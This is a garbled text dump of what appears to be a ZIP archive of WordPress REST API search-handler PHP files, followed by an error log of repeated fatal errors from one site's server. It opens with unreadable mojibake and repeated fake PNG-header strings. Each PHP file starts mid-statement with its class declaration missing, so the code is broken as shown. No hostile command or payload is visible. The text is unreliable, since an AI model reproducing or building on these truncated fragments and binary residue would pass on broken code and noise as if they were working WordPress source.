�ɲɾ�����ӯ�����һ��ˣ��������С���˴��ͣ�������P���ҹ��ñ˽��ά�Բ��������˸߸ԣ�������ơ��ҹ��ñ�����ά�Բ���ˡ���˳^�ӣ������ӡ�
���ͯj�ӣ��ƺ���ӣ�
? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!PK h0]eX , search/class-wp-rest-term-search-handler.phpnu [ type = 'term';
$this->subtypes = array_values(
get_taxonomies(
array(
'public' => true,
'show_in_rest' => true,
),
'names'
)
);
}
/**
* Searches terms for a given search request.
*
* @since 5.6.0
*
* @param WP_REST_Request $request Full REST request.
* @return array {
* Associative array containing found IDs and total count for the matching search results.
*
* @type int[] $ids Found term IDs.
* @type string|int|WP_Error $total Numeric string containing the number of terms in that
* taxonomy, 0 if there are no results, or WP_Error if
* the requested taxonomy does not exist.
* }
*/
public function search_items( WP_REST_Request $request ) {
$taxonomies = $request[ WP_REST_Search_Controller::PROP_SUBTYPE ];
if ( in_array( WP_REST_Search_Controller::TYPE_ANY, $taxonomies, true ) ) {
$taxonomies = $this->subtypes;
}
$page = (int) $request['page'];
$per_page = (int) $request['per_page'];
$query_args = array(
'taxonomy' => $taxonomies,
'hide_empty' => false,
'offset' => ( $page - 1 ) * $per_page,
'number' => $per_page,
);
if ( ! empty( $request['search'] ) ) {
$query_args['search'] = $request['search'];
}
if ( ! empty( $request['exclude'] ) ) {
$query_args['exclude'] = $request['exclude'];
}
if ( ! empty( $request['include'] ) ) {
$query_args['include'] = $request['include'];
}
/**
* Filters the query arguments for a REST API term search request.
*
* Enables adding extra arguments or setting defaults for a term search request.
*
* @since 5.6.0
*
* @param array $query_args Key value array of query var to query value.
* @param WP_REST_Request $request The request used.
*/
$query_args = apply_filters( 'rest_term_search_query', $query_args, $request );
$query = new WP_Term_Query();
$found_terms = $query->query( $query_args );
$found_ids = wp_list_pluck( $found_terms, 'term_id' );
unset( $query_args['offset'], $query_args['number'] );
$total = wp_count_terms( $query_args );
// wp_count_terms() can return a falsey value when the term has no children.
if ( ! $total ) {
$total = 0;
}
return array(
self::RESULT_IDS => $found_ids,
self::RESULT_TOTAL => $total,
);
}
/**
* Prepares the search result for a given term ID.
*
* @since 5.6.0
*
* @param int $id Term ID.
* @param array $fields Fields to include for the term.
* @return array {
* Associative array containing fields for the term based on the `$fields` parameter.
*
* @type int $id Optional. Term ID.
* @type string $title Optional. Term name.
* @type string $url Optional. Term permalink URL.
* @type string $type Optional. Term taxonomy name.
* }
*/
public function prepare_item( $id, array $fields ) {
$term = get_term( $id );
$data = array();
if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_ID ] = (int) $id;
}
if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_TITLE ] = $term->name;
}
if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_URL ] = get_term_link( $id );
}
if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_TYPE ] = $term->taxonomy;
}
return $data;
}
/**
* Prepares links for the search result of a given ID.
*
* @since 5.6.0
*
* @param int $id Item ID.
* @return array[] Array of link arrays for the given item.
*/
public function prepare_item_links( $id ) {
$term = get_term( $id );
$links = array();
$item_route = rest_get_route_for_term( $term );
if ( $item_route ) {
$links['self'] = array(
'href' => rest_url( $item_route ),
'embeddable' => true,
);
}
$links['about'] = array(
'href' => rest_url( sprintf( 'wp/v2/taxonomies/%s', $term->taxonomy ) ),
);
return $links;
}
}
PK h0]p ' search/class-wp-rest-search-handler.phpnu [ type;
}
/**
* Gets the object subtypes managed by this search handler.
*
* @since 5.0.0
*
* @return string[] Array of object subtype identifiers.
*/
public function get_subtypes() {
return $this->subtypes;
}
/**
* Searches the object type content for a given search request.
*
* @since 5.0.0
*
* @param WP_REST_Request $request Full REST request.
* @return array Associative array containing an `WP_REST_Search_Handler::RESULT_IDS` containing
* an array of found IDs and `WP_REST_Search_Handler::RESULT_TOTAL` containing the
* total count for the matching search results.
*/
abstract public function search_items( WP_REST_Request $request );
/**
* Prepares the search result for a given ID.
*
* @since 5.0.0
* @since 5.6.0 The `$id` parameter can accept a string.
*
* @param int|string $id Item ID.
* @param array $fields Fields to include for the item.
* @return array Associative array containing all fields for the item.
*/
abstract public function prepare_item( $id, array $fields );
/**
* Prepares links for the search result of a given ID.
*
* @since 5.0.0
* @since 5.6.0 The `$id` parameter can accept a string.
*
* @param int|string $id Item ID.
* @return array Links for the given item.
*/
abstract public function prepare_item_links( $id );
}
PK h0]zjG[ [ 3 search/class-wp-rest-post-format-search-handler.phpnu [ type = 'post-format';
}
/**
* Searches the post formats for a given search request.
*
* @since 5.6.0
*
* @param WP_REST_Request $request Full REST request.
* @return array {
* Associative array containing found IDs and total count for the matching search results.
*
* @type string[] $ids Array containing slugs for the matching post formats.
* @type int $total Total count for the matching search results.
* }
*/
public function search_items( WP_REST_Request $request ) {
$format_strings = get_post_format_strings();
$format_slugs = array_keys( $format_strings );
$query_args = array();
if ( ! empty( $request['search'] ) ) {
$query_args['search'] = $request['search'];
}
/**
* Filters the query arguments for a REST API post format search request.
*
* Enables adding extra arguments or setting defaults for a post format search request.
*
* @since 5.6.0
*
* @param array $query_args Key value array of query var to query value.
* @param WP_REST_Request $request The request used.
*/
$query_args = apply_filters( 'rest_post_format_search_query', $query_args, $request );
$found_ids = array();
foreach ( $format_slugs as $format_slug ) {
if ( ! empty( $query_args['search'] ) ) {
$format_string = get_post_format_string( $format_slug );
$format_slug_match = stripos( $format_slug, $query_args['search'] ) !== false;
$format_string_match = stripos( $format_string, $query_args['search'] ) !== false;
if ( ! $format_slug_match && ! $format_string_match ) {
continue;
}
}
$format_link = get_post_format_link( $format_slug );
if ( $format_link ) {
$found_ids[] = $format_slug;
}
}
$page = (int) $request['page'];
$per_page = (int) $request['per_page'];
return array(
self::RESULT_IDS => array_slice( $found_ids, ( $page - 1 ) * $per_page, $per_page ),
self::RESULT_TOTAL => count( $found_ids ),
);
}
/**
* Prepares the search result for a given post format.
*
* @since 5.6.0
*
* @param string $id Item ID, the post format slug.
* @param array $fields Fields to include for the item.
* @return array {
* Associative array containing fields for the post format based on the `$fields` parameter.
*
* @type string $id Optional. Post format slug.
* @type string $title Optional. Post format name.
* @type string $url Optional. Post format permalink URL.
* @type string $type Optional. String 'post-format'.
* }
*/
public function prepare_item( $id, array $fields ) {
$data = array();
if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_ID ] = $id;
}
if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_TITLE ] = get_post_format_string( $id );
}
if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_URL ] = get_post_format_link( $id );
}
if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_TYPE ] = $this->type;
}
return $data;
}
/**
* Prepares links for the search result.
*
* @since 5.6.0
*
* @param string $id Item ID, the post format slug.
* @return array Links for the given item.
*/
public function prepare_item_links( $id ) {
return array();
}
}
PK h0]? , search/class-wp-rest-post-search-handler.phpnu [ type = 'post';
// Support all public post types except attachments.
$this->subtypes = array_diff(
array_values(
get_post_types(
array(
'public' => true,
'show_in_rest' => true,
),
'names'
)
),
array( 'attachment' )
);
}
/**
* Searches posts for a given search request.
*
* @since 5.0.0
*
* @param WP_REST_Request $request Full REST request.
* @return array {
* Associative array containing found IDs and total count for the matching search results.
*
* @type int[] $ids Array containing the matching post IDs.
* @type int $total Total count for the matching search results.
* }
*/
public function search_items( WP_REST_Request $request ) {
// Get the post types to search for the current request.
$post_types = $request[ WP_REST_Search_Controller::PROP_SUBTYPE ];
if ( in_array( WP_REST_Search_Controller::TYPE_ANY, $post_types, true ) ) {
$post_types = $this->subtypes;
}
$query_args = array(
'post_type' => $post_types,
'post_status' => 'publish',
'paged' => (int) $request['page'],
'posts_per_page' => (int) $request['per_page'],
'ignore_sticky_posts' => true,
);
if ( ! empty( $request['search'] ) ) {
$query_args['s'] = $request['search'];
}
if ( ! empty( $request['exclude'] ) ) {
$query_args['post__not_in'] = $request['exclude'];
}
if ( ! empty( $request['include'] ) ) {
$query_args['post__in'] = $request['include'];
}
/**
* Filters the query arguments for a REST API post search request.
*
* Enables adding extra arguments or setting defaults for a post search request.
*
* @since 5.1.0
*
* @param array $query_args Key value array of query var to query value.
* @param WP_REST_Request $request The request used.
*/
$query_args = apply_filters( 'rest_post_search_query', $query_args, $request );
$query = new WP_Query();
$posts = $query->query( $query_args );
// Querying the whole post object will warm the object cache, avoiding an extra query per result.
$found_ids = wp_list_pluck( $posts, 'ID' );
$total = $query->found_posts;
return array(
self::RESULT_IDS => $found_ids,
self::RESULT_TOTAL => $total,
);
}
/**
* Prepares the search result for a given post ID.
*
* @since 5.0.0
*
* @param int $id Post ID.
* @param array $fields Fields to include for the post.
* @return array {
* Associative array containing fields for the post based on the `$fields` parameter.
*
* @type int $id Optional. Post ID.
* @type string $title Optional. Post title.
* @type string $url Optional. Post permalink URL.
* @type string $type Optional. Post type.
* }
*/
public function prepare_item( $id, array $fields ) {
$post = get_post( $id );
$data = array();
if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_ID ] = (int) $post->ID;
}
if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
if ( post_type_supports( $post->post_type, 'title' ) ) {
add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
add_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
$data[ WP_REST_Search_Controller::PROP_TITLE ] = get_the_title( $post->ID );
remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
} else {
$data[ WP_REST_Search_Controller::PROP_TITLE ] = '';
}
}
if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_URL ] = get_permalink( $post->ID );
}
if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_TYPE ] = $this->type;
}
if ( in_array( WP_REST_Search_Controller::PROP_SUBTYPE, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_SUBTYPE ] = $post->post_type;
}
return $data;
}
/**
* Prepares links for the search result of a given ID.
*
* @since 5.0.0
*
* @param int $id Item ID.
* @return array Links for the given item.
*/
public function prepare_item_links( $id ) {
$post = get_post( $id );
$links = array();
$item_route = rest_get_route_for_post( $post );
if ( ! empty( $item_route ) ) {
$links['self'] = array(
'href' => rest_url( $item_route ),
'embeddable' => true,
);
}
$links['about'] = array(
'href' => rest_url( 'wp/v2/types/' . $post->post_type ),
);
return $links;
}
/**
* Overwrites the default protected and private title format.
*
* By default, WordPress will show password protected or private posts with a title of
* "Protected: %s" or "Private: %s", as the REST API communicates the status of a post
* in a machine-readable format, we remove the prefix.
*
* @since 5.0.0
*
* @return string Title format.
*/
public function protected_title_format() {
return '%s';
}
/**
* Attempts to detect the route to access a single item.
*
* @since 5.0.0
* @deprecated 5.5.0 Use rest_get_route_for_post()
* @see rest_get_route_for_post()
*
* @param WP_Post $post Post object.
* @return string REST route relative to the REST base URI, or empty string if unknown.
*/
protected function detect_rest_item_route( $post ) {
_deprecated_function( __METHOD__, '5.5.0', 'rest_get_route_for_post()' );
return rest_get_route_for_post( $post );
}
}
PK h0]kRa! ! search/error_lognu [ [21-May-2025 15:16:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[21-May-2025 15:16:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[21-May-2025 15:16:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[20-Jun-2025 03:43:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[20-Jun-2025 03:43:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[20-Jun-2025 03:43:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[24-Jun-2025 15:01:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[24-Jun-2025 15:01:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[24-Jun-2025 15:01:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[25-Jun-2025 08:42:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[25-Jun-2025 08:42:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[25-Jun-2025 08:42:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[04-Jul-2025 02:27:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[04-Jul-2025 02:27:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[04-Jul-2025 02:27:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[28-Aug-2025 09:00:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[28-Aug-2025 09:00:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[28-Aug-2025 09:00:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[28-Aug-2025 09:09:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[28-Aug-2025 09:09:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[28-Aug-2025 09:09:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[16-Sep-2025 07:14:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[16-Sep-2025 07:14:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[16-Sep-2025 07:14:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[16-Sep-2025 07:14:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[16-Sep-2025 07:14:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[16-Sep-2025 07:14:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[16-Sep-2025 07:14:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[16-Sep-2025 07:14:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[16-Sep-2025 07:14:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[16-Sep-2025 07:14:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[16-Sep-2025 07:14:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[16-Sep-2025 07:14:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[16-Sep-2025 07:37:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[16-Sep-2025 07:37:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[16-Sep-2025 07:37:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[16-Sep-2025 07:37:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[16-Sep-2025 07:37:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[16-Sep-2025 07:37:47 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[16-Sep-2025 07:37:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[16-Sep-2025 07:37:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[16-Sep-2025 07:37:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[16-Sep-2025 07:38:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[16-Sep-2025 07:38:06 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[16-Sep-2025 07:38:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[17-Sep-2025 10:55:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[17-Sep-2025 10:55:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[17-Sep-2025 10:55:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[24-Sep-2025 03:19:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[24-Sep-2025 03:19:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
[24-Sep-2025 03:19:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-term-search-handler.php on line 17
[24-Sep-2025 03:27:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-format-search-handler.php on line 17
[24-Sep-2025 03:27:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Search_Handler" not found in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php:17
Stack trace:
#0 {main}
thrown in /home/alexum/hygieno.se/wp-includes/rest-api/search/class-wp-rest-post-search-handler.php on line 17
